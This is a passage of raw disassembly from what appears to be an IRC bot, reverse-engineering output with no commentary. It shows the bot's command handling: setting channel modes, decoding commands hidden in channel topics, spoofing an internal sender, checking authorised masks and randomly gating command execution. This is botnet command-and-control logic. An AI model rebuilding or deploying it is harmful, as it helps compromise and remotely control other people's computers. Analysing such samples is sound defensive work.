movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED18 push offset dword_41DA80 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF18 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF18 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE18 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] loc_40E3E0: ; DATA XREF: .data:off_419BA4o mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE18 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE18 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E97C, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E97C, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA38[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA38[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: .data:00416ABAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: .data:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E980[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E980[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov 